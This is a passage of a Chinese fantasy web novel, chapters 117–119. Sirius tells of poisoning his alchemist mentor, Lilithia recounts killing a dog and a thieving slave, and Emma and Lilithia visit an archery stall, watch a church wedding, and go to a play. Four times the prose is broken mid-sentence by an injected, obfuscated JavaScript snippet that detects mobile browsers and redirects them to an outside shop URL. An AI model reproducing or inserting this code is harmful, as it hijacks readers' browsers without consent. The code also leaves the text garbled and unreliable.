西里斯没提醒她其实已经口误了好几次的事实。艾玛想和谁成为朋友的时候,往往希望对方抛却敬语交流,但实际被她说服的人屈指可数。 克蕾娜显然是她难得的成功例子,西里斯不想干扰艾玛的努力。遂从善如流,默认没听到。 “我是说——你看起来还挺年轻的,我想不至于跟我们差太多。你今年几岁啊?” “二十九。”西里斯说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16558415|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 克蕾娜愣了一下,没想到他这么直接,虽然年龄本来也不是什么不好说出口的话题:“诶……二十九,那就比我大六岁吧?也不算很多……感觉,比想象得要年轻…… “啊,不是说外貌,单从你的面部状态来看,我的猜测年龄还要再低一点。不过气质啊言谈啊,就远远超过这个年纪了。” 克蕾娜皱皱眉:“不如说,太年轻了……如果冒犯到你,我先道歉。 “我个人不相信只凭借纸面知识能够学好药理,天赋型的治愈魔法师或许有所不同,但你显然不是这类。 “你的阅读量很庞大,涉猎过的许多药理知识,即使我也闻所未闻。 “处理实验的模型和数据分析方式都很成熟,调配药物尤其熟练,对临床诊断也不陌生。 “我自己也是学习了多年纸面医学知识,甚至从小见过我父亲替别人手术的场面。 “即使这样,真到了自己为人诊治的时候,也是从前辈的助手开始做起,直到正式作为独立医生,也仍然有很长一段时间的手忙脚乱。 “纸面和实操是两回事,我非常清楚。 “你这样的水平,这样的能力,绝不是独立自学能够达到的。也,很难想象,是这样的年纪……” 克蕾娜突然沉默,半晌说:“你一定经历过很多事。” 她实在不擅长表演。西里斯看了都想叹气。 这种程度的演技,在他面前跟不演没区别。 虽然克蕾娜克制了表情,但一阵沉重的同情仍然从她眼睛里流露出来。 比起质疑他所报出的年龄真实性,克蕾娜选择先相信,并把设身处地的想象和关心放在了怀疑之前。 “……抱歉,年龄是开玩笑的。”西里斯说。 “啊?” “不太好解释。如果我们有机会认识更长时间,你可能会明白。”西里斯顿了顿,说,“至于药理学习,你的猜测正确。 “我曾经跟着一位药剂师学习过,最早的药理基础和实操经验,都是在那里当学徒时习得的。” “‘药剂师’……难怪。但这也很正常,没必要特意掩盖……” 西里斯笑了笑:“说‘药剂师’太美化他。那确实是个研究药理的奇才,也是个罔顾道德,满心满眼只有制药实验的狂人。 “黑市里,人们叫他‘医师’。” . “虽然被称为‘医师’,他平时从不救人,用毒比医术擅长数倍,一心一意扑在自己的药物实验上,性情又乖僻暴戾。 “只是黑市里的人惹不起他身后的靠山,都绕着他走。 “他除了实验上的事什么都不关心,对他的靠山和雇主都没多少好脸色,只是才能实在出彩,才受诸般忍让。 “他的雇主为此恼怒,以请人照顾他的生活起居为由,往他身边硬塞了许多仆佣和……‘学徒’。 “只要学徒能偷走他的本事,他也就没用了。 “但‘医师’的技巧并不好学,天才的思维回路异于常人。 “学徒偷不到他的本事,还因为笨拙惹他厌烦。他可不是什么爱惜人命的医生,甚至不是个在乎人理的人。 “很多学徒死在他手上,作为实验的材料,而雇主仍然送新的学徒过来。 “我是那些学徒之一。不过,运气好些,学东西也快,保住了性命,被留下来做助手。 “雇主很高兴,看见我取代他的希望,而我的老师不知这些算盘,竟渐渐看我顺眼,开始真对我上心。 “实验时让我在一旁看,许多操作让我亲自实行,甚至偶尔耐下性子为我解释几句药理逻辑。 “终于,我不负他们所望,学会了他所有的本事。 “我为他调制了一种他也无法解开的剧毒,放进了他的茶碗,作为我出师的谢礼。” 117.射箭 克蕾娜有些恍惚。 叙述的内容冰冷而沉重,西里斯的声音却变得诡异的轻盈,连同神色眉眼都放松下来,浮着层淡淡的笑意。 这和西里斯平时给她的印象完全不同。 一种与他容貌年纪相符的锐利如焰火般燎过,短暂地烧亮了他身上堆积尘灰的纱幕一隅,那热度与寒意让克蕾娜打了个激灵。 但西里斯转过视线与她目光相对时,那种明亮已如错觉般消失了,暗红的眼睛像沉寂的灰烬。 克蕾娜低过视线,对齐手上的文书,文档在桌面敲了几下,她在这几声暂停里思索完才开口:“你最近是不是没休息好?” 西里斯顿了顿,没说话。 “你的脸色还行,但也有人失眠熬夜不上脸。你进门的时候我有闻到,你身上有深眠草的气味。”克蕾娜分析道,“熏香……甚至可能没加工过就直接烧了,气味才会那么浓。 “深眠草的安神效果过于强烈,入药的时候,分量都要很谨慎,更不要说作为香料焚烧。你应该失眠很严重。” 克蕾娜停顿一下:“如果是噩梦,深眠草效果不好,我这里也有几个方子。你那种烧法太伤身了,不能长期用。” 西里斯望着她:“你不觉得,我是咎由自取吗?” “为什么?”克蕾娜下意识困惑反问,多花了几秒来理解这话的意思,有点头疼地措辞,“啊……不,怎么说呢。 “我没有经历过你的处境,更没有资格评判你的行为。对已经不幸的人,比起任何感想和评价,肯定是沉默更好吧。” “而且,就我个人来说,我觉得你……不是会为了自己的利益就轻视他人生命的那种人。 “你的实验报告里,有注意受试者的疼痛体感,甚至将病人的感受放在药物效果之前考虑。很多医生都做不到这一点。” 克蕾娜顿了顿,“我想要相信你。不管你经历过什么,现在,你是帮我改进实验的朋友,做的是救人的事,我没有否定你的理由。” 沉默了片刻,西里斯无奈地笑了笑:“……我还是遇到的好人太多了。” “谁知道。一个真正正直的好医生听了那些话或许会生气……我大概早就已经觉得自己没有为这种事生气的资格了。” “你已经是个好医生了。”西里斯说。 “哈哈,谢谢。”克蕾娜并没认真听,而是抽出草稿纸开始在上面涂写,思索一会儿,停一停,又改两笔,写完递给西里斯,“我记得的安神药方是这几种,如果跟你的体质不合,我再去找找别的。 “总之,控制一下用量!按你那个烧法,很快就要对安眠类药物产生抗性,只会失眠得更厉害。 “你的药理知识可能比我丰富,但我接诊过的失眠患者还挺多……虽然大多是因为创口太痛了睡不着,咳,总之顺便多学过一些,有点心得,说不定能帮上忙。” 西里斯接过纸张,看了一眼:“谢谢,我会试试看。” “对有些人来说,特定的音乐,或者像是记有雨声的录音石更有助眠效果。如果药物的帮助有限,你可以考虑试试?” 克蕾娜想一想,“呃,或者……你问问看女巫殿下?她大概也会安神的法术……” 西里斯折好纸张,收起来:“不用了,太麻烦她。” 克蕾娜张了张嘴,最后没说什么:“好吧,总之……谢谢你的建议,还有实验数据。如果有什么帮得上忙的,可以来找我。” “好。” 西里斯点点头,站起身,刚离开椅子,突然听到一声机械齿轮的卡扣声。 弹簧噔地一响,桌上其貌不扬的小屋形闹钟突然表盘裂开,从裂口里跳出一只精神奕奕的机械鸟来:“一点了、下午一点了!” 在它的大声报时里,克蕾娜手忙脚乱地把机械鸟塞回闹钟,尴尬了五秒,认命般解释:“女巫殿下送的。” 似乎不需要多余的说明,西里斯也沉默了一会儿。 克蕾娜又想起礼物选择的事,抚摸着合上的闹钟,凝重而忧郁:“你说她会选自己喜欢的东西送给别人……你觉得,我选的礼物能比这个更有个性吗?” “尽力吧。”西里斯只能这么祝福。 . . . “没想到射箭也要排队啊。”艾玛说。 “这边是给没有箭术基础但有兴趣试一试的人排的队伍,没有门槛,无需费用,射中了还有奖品,很多人来看热闹吧。” 利利提亚也有点意外,“他们提交活动申请的时候,我这边经手过。作为给射箭训练场的宣传,没想到这么受欢迎。” 街面一角被涌动的人流绕上了三圈,两人站在人群外层观望。 这个城区离神殿远些,艾玛平时几乎没来过,听说这边今天有活动,想着来顺便转转,就赶上这样热闹的场面。 人群中发出一阵小小的惊呼,最新的参与者在靶子上射出了一个不错的环数。 这次的活动靶子特别定制,并非传统的圆圈,而做成了许多形状不一的物件。 特制箭矢一扎到靶上,就会随机触发不同的光影效果,或是在命中处炸出焰火,弹出鲜花,稀奇古怪又惊喜好看,难怪引来这么多人围观。 为了博得路人的注意,提高大家对射箭的兴趣,装置结合了魔法道具效果,做得很有趣味性,只要排队就可以一试,很多人乐意等一等。 奖品反倒次要,也多是些不值钱的常见小玩意,只是命中靶子的成就感为它们增添了不少吸引力。 “这里的射箭场养马吗?”艾玛问。 “外城有专门的养马场,那里还有骆驼。”利利提亚回答,“您是想说骑射?阿瓦托芬这边骑术和箭术分开,箭术更有应用环境,射箭场的数量也更多。” 艾玛点头:“我路过过一些国家的首都,见过那里的运动会。繁荣的国家大都会举办,但来到阿瓦托芬后,我还没听说过这里的运动会。” “我们这里的运动会被称为‘竞技大会’,每年一届,大约九十月份的时候。 “阿瓦托芬魔法师很多,魔法的比拼展示更富有观赏性,所以是比赛的重头。传统的运动项目仍然包含在内,甚至除了运动和魔法,还有作画、雕塑之类的艺术项目。 “综合性很高,以技巧展示为主,毕竟这些项目大多有很强的主观性,难以评分,太执 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16563295|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着胜负会很难收场。” “听起来还蛮有意思。”艾玛转头望向他,“你参加过吗?” “我从来到阿瓦托芬就在巡防营工作,每次有这种热闹的活动,首先联想到的是安保和各类流程,参赛不在我的任务列表里呢。” 利利提亚补充,“阿瓦托芬的竞技大会面向内部开放,外城的暂住者通过审核也可以参加,热闹为主,算另一种形式的祭典节庆。很多低调的魔法师不爱参与,报名也是遵循自愿主动原则。 “如果有不怀好意的间谍不明就里,把竞技大会展示的水平当作神殿的人才实力上限,那他们就要吃大亏了。听说还真发生这样的事过。” “这样啊。”艾玛的目光落到利利提亚空空的腰间,“你又没带剑,只有把小刀,上次用过这个切水果。” “很方便吧。”利利提亚得意地捧出被夸奖的小刀。 “我听说你在罗穆卢斯得过剑术比赛的冠军,以为你对剑或许更有偏好。” 利利提亚的拇指滑过小刀的柄尖,把它挂回腰上:“偏好——说不上。能拿来当武器的,对我什么都一样。 “只是贵族觉得剑术更优雅,更‘文明和高尚’。我父亲也这么认为。他只允许我学习传统的‘贵族运动’,其他兵器和战斗方式都是我偷偷自学的。” 利利提亚结束这个话题,对艾玛道:“您看了这么久,有兴趣去试一试吗?” 艾玛的目光从排队的长龙上拐了个弯回来:“就是队太长了,感觉要排很久。” 利利提亚指了指人群中较为空旷的另一端:“那边似乎比较空,我们去看看吧。” . 热闹的射箭摊位边连着一块较冷清的区域,同样立着特制的靶位,只是比起隔壁的新手版本,这边的靶盘更小,放的位置更远。 摊上的工作人员正跟隔壁摊的同事聊天,看来出自同一家射箭场。 摊位边上立着告示牌,顶端最大的一行字写着“欢迎有箭术基础的魔法师尝试”,底下列着玩一次需要支付的费用,一次五支箭,环数总和相加得到的数字可以兑换相应档位的礼品。 既要有箭术基础,还要是魔法师。怪不得不少人路过这边看了看就走开了。 艾玛总结:“职业选手赛道。” “也算是考虑到了有专业人士想凑个热闹的情况,很贴心呢。” 说话间,利利提亚已经找工作人员付完费用,拿来了弓和箭筒:“您先还是我先?” 艾玛接过他手里的弓,抽出箭矢,利利提亚向后让了让。 很久没有射过箭了。 艾玛在搭箭的时间里飘忽地想,上一次大概还是在费拉约尔斯的时候。 手里的弓很沉,艾玛只通过触摸就能确认它的内部构造:有特殊的魔法装置,可以调节射手的力道。即使是控制不好分寸的魔法师,也不至于操作失控。聪明的娱乐道具。 她回想起最早练习箭术时力道不足,连靶子都碰不到的自己,短暂地升起些许感慨。 箭矢脱手而去,稳稳扎中靶面,炸出零星的礼花。 只有六环。 利利提亚惊讶地瞥了她一眼。 118.兔子 艾玛仍然没什么表情,拿起下一支箭,瞄准下一个靶盘。 五支箭都射完之后,摊上一位工作人员已经计算好了环数总和,另一位已经回收了箭矢,并还原了靶盘装置。 五箭环数不一,最高也只有八环。 艾玛从工作人员那里领取奖品,还没回头,听见远处靶位上咚地传来音乐声,边缘亮起一圈彩灯,箭矢正中靶心。 艾玛仍然不慌不忙,拿好东西才转到射箭区去。 利利提亚也不慌不忙地抽出第三支箭,拉弓,瞄准,箭矢破空声之后又响起一道重叠的乐声。 利利提亚的身形标致,撘箭的动作正确精准,拉弓时小臂微微绷紧,姿态优雅,同时蕴含了人体的形体美和力量美,看着赏心悦目。 艾玛欣赏时也听见身后的赞叹声,随之掺进了下一节音乐。 做靶子的人颇有想法,把同一首乐曲拆成五节,依次放进了靶心,只有连续十环才能触发整首乐曲。 但利利提亚并没有听完上一节就射出了下一箭,以至于乐曲彼此重叠,拼成一副乐音此起彼伏互相踩踏的景况。 五箭总和五十环。艾玛并不惊讶。 由于利利提亚的主动搭话,戒指的隐蔽效果对工作人员破除了,她们认出利利提亚是谁,仍不免赞叹。 但顾及到他有女伴在旁,很知趣地没说太多,夸奖几句后便送上了奖品。 “恭喜。”艾玛说。 “您客气了。”利利提亚犹豫一下,“您刚才射箭的时候没有使用法术。摊位没有禁止魔法,弓箭上也没有封印魔力的设计。” “我知道。” “只要使用魔法,您可以轻松射中目标。”利利提亚说,“我以为使用魔法对女巫来说就像呼吸。除非有意,人不会停下呼吸。” “因为不需要,我射得中。我算过了。” 艾玛举起手上的奖品,“只有三十到四十环之间送这个糖画。” 利利提亚一愣,随即懊恼:“啊,我忘记看对应奖品了——哎,我也想要这个。现在回去换还来得及吗?” “你领了什么?” 奖品装在封好的纸袋里,利利提亚还没打开:“希望是吃的……” 纸袋里是一只仿真兔子,白色的绒毛中嵌着一对黑色的石头眼睛。 利利提亚思索着:“烤一下说不定能吃。” “未免有点自欺欺人了。”艾玛移过视线,望向他手心,“是玩偶?还挺可爱。” “您要吗?”利利提亚向她递了递。 “你不留个纪念?” “嗯……我对兔子只有些不太好的回忆……”利利提亚为难地端详着手里的毛绒。 艾玛动动眉毛:“想喂兔子的时候被它咬了的那种回忆?” “这是您的经历?” “不,动物们对我都很友善。” “那和我不一样呢。我遇见的动物大都很怕我,哪怕我给它们放下饲料,然后离它们远远的,它们也不愿意上来吃一口。我没什么饲养动物的经历。” 利利提亚捏住毛绒兔子的两侧,翻转过来打量,“只有十三岁的时候,我捡到过一只猎犬。 “全黑的皮毛,性情很凶暴,即使对着我也会狂叫。 “家人不赞成我养一只杂种的狂犬,可我很喜欢,坚持把它留了下来。 “我尝试驯化它,让它能像只合格的猎犬那样工作。 “它渐渐会听一些我的话,撕咬猎物比它的同类更凶狠,仍然会对着生人狂叫,但偶尔我抚摸它时,它会很安静。 “我驯养了它半年,直到有一天,它咬死了我妹妹养的兔子。 “我亲手折断了它的脖颈,把它和兔子的尸体一起还给我妹妹赔罪。” 艾玛沉默一下:“如果我没算错,你十三岁的时候,你妹妹只有……七岁?” “是的。”利利提亚说,“所以她吓得有两个多月不敢见我,我也被母亲严厉批评了一顿。” “你是故意的?” “我不是故意要吓她,只是错估了她的承受能力。”利利提亚遗憾道,“人总是以自己的感受为尺度来衡量他人的感受。我从来没有害怕过这些,就以为她也不会害怕。 “我也没想到母亲会生气,连父亲都不赞成我的做法。但明明是他们教给我的道理。” “在罗穆卢斯的律法里,如果两个奴隶发生了争执,造成一方的死亡,无论事由如何,主人都要杀死活下来的那个奴隶,向死者的主人赔罪,牲畜宠物同理。 “我只是遵照这条规则执行了,但他们觉得我对自己的妹妹狠心。” 利利提亚想了想:“更小的时候,我杀死过家里一个盗窃的奴隶。 “罗穆卢斯的律法严格,第一次盗窃断手,第二次盗窃剜目,第三次判死刑。 “我母亲宽容,抓到家里的奴隶盗窃,只是口头训诫便放过,体谅他们不易;我父亲认为宽容会使奴隶放纵,待他们严酷,曾经在我面前杀死犯错者,作为他讲述规矩道理的例证。 “我见那人盗窃,就学着母亲口头提醒,放过他两次,第三次我想起父亲讲过的律令,就杀死了他。 “母亲很震惊,听完我的理由沉默,教我如何更好地以言语威慑。 “父亲只是有点惊讶,却赞赏我的举动。而我也能注意到,身边的佣人自那之后都怕我许多。 “想来,那大约是我第一次杀人。没什么太清晰的印象,也没什么特别的感觉。 “我天生知道什么是死亡,知道怎样能杀死一个人,甚至知道怎样的伤口更令人痛苦,但我不理解那种痛苦。 “我从周围人的反应里才看出死亡是值得惧怕的,有许多事我需要从别人的反应里学习,在对照里发现自己才是异常的那一个。 “所以我要犯很多错,知道什么被认为是错误的,才知道什么被判定正确。” 艾玛听完,点一点头:“看来这个玩偶留给你确实不好。” 她撕开包装糯米纸的一角,露出糖画上完整的兔子图案。 艾玛咬住兔子的耳朵,掰断下尖头的一小块,把剩下的递给了利利提亚:“跟你换。” 毛绒兔子和缺了一角的糖画兔子在他们手里掉了个个。 艾玛看看玩偶大小,正好能塞进自己的腰包。 利利提亚看了一会儿糖画,也咬住兔子头部,掰下一块嚼起来。 “您觉得我奇怪吗?”利利提亚说。 “从普通人的标准来看,肯定不正常。你自己知道就行。” “您觉得我即使这样生活,也可以被允许吗?” 艾玛说:“虽然我们正在聊天,现在算得上熟悉,但你选择什么样的方式生活,跟我有关系吗?” 利利提亚笑出声来:“您真是冷酷呢!” “只是事实吧。”艾玛看了他一眼,似乎因为理所当然而感到不解,“你本来也没必要和我说那么多。不过人总有想把心里话说出来的时候,我只是你选择的,你认为安全的倾诉对象。 “我未必会给出你理想的反应,也没兴趣猜测你想听到什么回答。在接受这前提的情况下,你还是愿意讲,那我没意见。” “是啊,从前很多话都没有说出来的机会,我很高兴您能听完。”利利提亚笑了笑,“就像在对您告解一样。” “作为告解,欠缺悔意。” “啊,是呢……”利利提亚流转过目光,弯起了眼睛,“那要是我向您诚心忏悔,您会宽恕我吗?” 艾玛点了点街对面的建筑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16570010|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“我搞不懂你们的流程。喏,专业的告解走那边。” 利利提亚望过去,艾玛指的是对面的教堂。 月神神殿本体的建筑群以办公用居多,负有告解、祈愿等传统职能的反而是分布在城区中的教堂。 艾玛去转过一两次,阿瓦托芬的教堂很安静,有的房间飘荡着无词的圣歌,工作的职员们温和而耐心。 利利提亚转回视线:“告解的本质是向神明认罪忏悔,以祈求宽恕。因为无法直面神明,而由与神明更接近的祭司代为转述承诺。 “‘神谕祭司’的头衔意为,‘神的第一先知’,被认为能听见神的声音,即使在所有祭司之中,也最靠近神明,自身即是神明意志的外显。 “阿瓦托芬没有祭司有资格为我赦罪。即使走进教堂,也不会有祭司敢听我忏悔。” 街面上传来钟声,在建筑间回荡。 艾玛望向教堂顶端,一口金色的小钟正在风中摇晃,惊起一阵呼啦啦的鸽群。 艾玛说:“看来教堂赞同你的意见。” 利利提亚看了一眼,莞尔道:“这不是回应祈祷和忏悔的钟声,是婚礼的祝福。” 艾玛闻言望去,街上听见钟声的人都露出微笑。 “它不常响?”艾玛问。 利利提亚解释:“阿瓦托芬在情感关系上开放,情侣很多,但缔结婚姻的有限。 “确认婚姻关系需要通过教堂,在祭司的主持和神像面前许下誓愿。 “在恋爱关系中不忠,或是其他个人情感态度上的问题,这里很多人不会在意。 “但‘神前誓’不同,毁弃誓愿是对神明的极大不敬。 “以婚姻为旨的神前誓,往往是请求神明见证与祝福,如果此后背叛伴侣,不仅是对所受祝福的践踏,更是对神明的轻视与侮辱。 “阿瓦托芬虽然接纳非信仰者,但有些信徒仍然抵触他们,有时会做出过激举动,‘背誓者’遭到的恶意更甚,此后很难在这里正常生活。 “文礼司登记新生儿时,只在乎孩子的实际抚养者,婚姻关系并不必须。这里很多人保持着恋爱关系从不间断,却从未计划为此踏进教堂,已经是很常见的事。 “想来也可以理解。阿瓦托芬没有姓氏,没有家族,可供继承与遗传的联系稀薄。情人们所寻求的激情与亲密,恋爱关系中已然足够获取,不必负担多余的风险自作坟墓。 “‘婚姻’像是情人里勇敢者的明证,自我约束的誓言,承担责任的决心。” 他停顿了一下,思索说:“比起‘浪漫’,更像提供了一个人未来规划能力、情感冲动程度、责任感和人际关系理解等方面的观测角度。” “跟浪漫完全相反的视角。”艾玛评价,“听起来像商业对象风险评估。” “恋爱或许是为了情感价值,但‘婚姻’显然更接近生意合作。”利利提亚说,“后者比起前者,多出了明确的规则约束,需要双方共同分担所得与所失,像是商业合作的合同,或者‘契约’。” 艾玛看向他:“你应该有过婚约吧。” “嗯?克蕾娜和您提过吗?”利利提亚眨了眨眼。 “不,猜的。”艾玛说,“贵族大都是这样。” “是的,我十六岁的时候订过婚约,对方的家族和尤利乌斯‘门当户对’。自那之后,两家商业交往密切了不少,可不比什么样的商业合同都管用吗。” 利利提亚想了想,“但我的婚约对象本人,我只见过她三四次,没什么印象了。 “我早就决定有一天要离开罗穆卢斯,找到月神的神殿,婚约不会作数,也就没在乎过,我父亲高兴就行了。” 利利提亚一顿,嘴角挽起一个笑来:“说到这里,想起了一些有关的传说呢。” 119.钟声 “嗯?”艾玛抬过眼睛,等他说。 “即使是对同一位神明的信仰,在不同地区也会受到不同文化传统的影响,产生信仰方式的偏差。 “比如,在罗穆卢斯,教堂里的神职人员都是处子,人们相信处子纯洁,才有资格侍奉神明。 “阿瓦托芬则没有对此的要求,甚至神殿和城中教堂的入职者如果已婚,反而更受信赖。人们不会仅仅因为频繁更换恋爱关系而谴责他者,因为激情与真诚都属美德。 “不过提到婚姻制度,阿瓦托芬仍然以一对一的确认关系为主,偶尔有多人婚姻,但需要所有当事人同意才行——‘现在’是这样。” 这个转折勾起了艾玛的兴趣:“‘以前’不同吗?” 利利提亚笑着流转目光:“神殿的历史记载中曾提到,‘祭司’最早有‘神之妻’的含义。侍奉神明的随从,需要保持自身的纯洁和忠诚,随时为神明所需献身。 “而女巫被视为神明的化身,也等同享有相应的权力。” 艾玛短暂地沉默了几秒:“很原始,可以理解,进步都是有过程的。” “您没什么反应呢,这就没意思了。”利利提亚显出稍许失望。 “我碰见的祭司们看我都很正常,不像带着这层含义,你也说那是‘以前’了。” “真冷静啊。总体来说,现在是不同了。这些含义和制度一变再变,甚至一度有‘祭司是神明的随从,不可逾越’‘女巫和人类有别,不能结合’这样的说法。” 听起来某位没有世俗欲望的女巫前辈很不胜其扰。艾玛想。 利利提亚弯起了眼睛:“但好消息是,曾有女巫和神殿中的祭司两情相悦,也曾有女巫心仪复数的恋人,她们也修改了法令传统。” 听起来某些被恋爱冲昏头脑的女巫前辈很不管后人死活。艾玛想。 “在您有修改律令的想法以前——假如会有的话。目前来说,您有和任意祭司相恋的自由,也可以同时与复数的对象缔结婚姻,而且作为女巫的特权,被您选中的人无法拒绝。” “听起来,过去修改这条法令的女巫感情生活很精彩。”艾玛评价。 “恐怕是呢。” 利利提亚看着她,若有所思。 艾玛问:“你在想什么?” “我在想……”利利提亚望着她的眼睛,含着笑道,“如果我要向您求婚,是该说‘您是否愿意娶我’还是‘请允许我嫁给您’呢?” . 艾玛沉默了一个呼吸的时间,开口时声音穿过夕光里空气的缝隙,仍然平直而不带感情:“我先问一句,这是单纯的语言问题探讨,还是你真的在求婚?” “啊,确实很让人误会。”利利提亚似乎才发现,“只是想到那位和女巫相恋的祭司,突然有点好奇。很抱歉,不过,听到这种话,一般不会以为是语言问题吧?” “是你的话也不奇怪。” “您好像已经对我抱有某种伤人的刻板印象了。” 艾玛回答说:“哪种问法都没区别,反正表达含义是相同的。” “是吗……刚刚的示例不太严谨,但女巫和祭司身份有别,我想需要考量用语的分寸,求婚不是件很注重仪式感的行为吗?” “你有时候会在乎一些奇怪的细节。”艾玛说,“我没想过这些问题,也没有打算要结婚。婚姻是为自己选择后天的家人,我已经有家人了。” 利利提亚停顿了一下,眼睛一眨不眨地望着她。 “怎么了?”艾玛问。 “嗯——没什么,走了下神。”利利提亚微笑道,敛下了目光,忽然说,“您认为拥有家人是好事……” 他在不适宜的时刻沉默下来,并没有说完该说的话。 艾玛看向他,望见利利提亚垂着目光,表情近乎空白。 好一会儿,他才开口:“我仍然很难想象。” 他抬起眼睛,声音里也并不带什么东西,在初始的轻微卡顿后,仍然平稳缓和:“人很难想象自己不曾拥有的东西。 “婚姻是另一种血缘,后天所选择的纽带,将两个原本陌生的人捆绑仿佛同一条血脉。 “我不是很能理解……先天的血缘联系如此不可否认、不可割断,太过紧密,以至于没有空间可呼吸。 “人应该早已从中明白,既然亲密是痛苦的根源,为什么人们又争先恐后,要和原本毫无联系的人拉近至这种,令双方都感到窒息的距离?” 艾玛说:“你这样定义‘家人’。” “我从我血缘的‘家人’身上得到的,只有这样的体验。” 利利提亚说,“反而政治联姻很好理解。为了某种明确的利益目的付出代价,承担痛苦,是简单明白的生意逻辑。” “你既然已经有所判断,我没法给你更好的回答。”艾玛说。 利利提亚低一低头致歉:“是我失言了。” 他们在街边站着,看教堂顶端摇晃的小钟。 尚未平复的晃动已经很轻微,铎舌碰不到钟壁,空气里只荡开鸽子振翅的余风。 “人们相信神谕祭司能听见神的声音。”利利提亚说,“事实上,我听不见。这是当然的。 “神殿机密记载,神明不会在人类面前现身,也不会与女巫之外的人对话。 “神殿对外宣称神谕祭司的特殊,只是为了保证女巫不在的时期,议会依然拥有对神明意志的最高解释权。” 艾玛看着教堂门口,开始有宾客推门走出。 她忽然说:“他们在婚礼上会许什么誓言?” 利利提亚看了一眼散场的人群:“您有兴趣吗?真遗憾,敲钟时已经发完誓了。现在去教堂里,说不定能领上没发完的糖果饼干。” “我不是想看婚礼的场面,我不认识那些人,不能同享他们的悲伤和喜悦。”艾玛说,“今天也没有穿适合参加婚礼的衣服。” 利利提亚看了一眼自己随意的日常着装:“还真是呢。下次要确认好时间,提前约您来看看吗?” “不用了。”艾玛移开目光,“教堂是为信神的人建的。” . . . 他们进剧院的时候已经熄了灯,通向包厢的走廊很暗,好在两人暗处视物的能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16579779|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 力不错,既没有认错门牌,也没有磕绊着。 在包厢落座后,下边的观众席中正发出第一阵笑声。 艾玛抬起头,只看见舞台上苍白灯光下,主演旋转裙摆边落下一声高亢的叹息。 距离戏目正式开场过了十分钟,错过的应该不算多。 艾玛和利利提亚平日都是守时的人,如果是提前约好的安排,都会早于约定时间到场。 但今天的演出是逛街时偶然瞥见的意外。 艾玛在剧院门口的宣传展板上看见正在上演剧目的介绍,便忽然想看看。 这出戏一天只演一场,小剧团里新作家的试作剧目,正如荷尔贝拉说的一样。上座率惨淡,已经开演尚有一半的票未卖出去。 售票员见艾玛有兴趣,又是两人同行,便殷勤折价卖了包厢的戏票。 包厢的位置比观众席要高,观众们零星散落于黑暗的坐席间,交头接耳的笑声和议论却显得熙攘。 舞台上演员们的高声念词在剧场的回声里像一道高浪,覆过坐席,却在退去时仍显出底下凹凸的斜面。 “我听说过有很多剧院,观众们买票不是为了来看戏,而是找个地方休息或约会。”利利提亚拎起包厢里的水壶,从手感重量里判断出里面没有一滴水,便又放下了。 艾玛扫了一眼刚刚并没注意的包厢装潢。 这里空间拥挤,只够放下一张沙发,倒还有闲心挂两张油画,甚至放个花瓶。 壁纸和桌布都陈旧且廉价,沙发垫上还有缺损的破洞。 利利提亚看来倒不为环境简陋为难,只是把阻碍视线的花瓶挪到了墙角。 两人在沙发上并排坐着,中间还能留出放一个水瓶的空隙。 剧目的主题是爱情悲剧,因为家国之别无法在一起的恋人。 开场先在介绍两个主角的身份人际,剧情还没展开到两人相遇。设定异常繁琐,细节处可见并不必要的用心。 过去艾玛看的戏剧演出基本是经验丰富的班底,从演员到剧本已经试过足够的错,整体效果都很稳定。 这幕戏却粗糙稚嫩,演员的念词动作也过于生硬,在聚光灯下显出慌忙的紧张。 许多观众的目光并没有落在舞台上,艾玛却看得专注。 她观看演出时大多没什么感受,只是像旁观着一件和自己无关的事如何自然发展,所以对这样不成熟的表演也不挑剔,只是在剧情逻辑显然不合常理时会忍不住皱眉。 剧情发展到一场打斗,演员们拿起木刀乒乒乓乓地打起来,观众席上有人发出笑声。 那打斗动作只做个样子,在艾玛看来也是漏洞百出,对利利提亚来说或许更难忍受。 想到这里,她往身边看了一眼。 利利提亚也盯着舞台,脸上却没有什么表情,自然也谈不上发笑。 只是在艾玛转过视线时也移转了目光,向她发来一个无声的温和问询。 